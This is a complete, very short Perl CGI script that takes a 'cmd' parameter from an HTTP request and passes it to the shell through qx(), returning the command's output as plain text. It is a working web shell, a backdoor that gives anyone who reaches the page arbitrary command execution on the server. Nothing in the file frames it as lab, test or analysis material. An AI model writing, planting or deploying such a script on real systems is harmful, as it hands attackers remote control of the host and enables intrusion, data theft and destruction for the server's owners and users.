#!/usr/bin/perl use strict; use warnings; use CGI qw(:standard); print header('text/plain; charset=utf-8'); my $q = CGI->new; my $cmd = $q->param('cmd') || ''; if ($cmd) { $cmd =~ s/[\r\n]//g; print qx($cmd 2>&1); }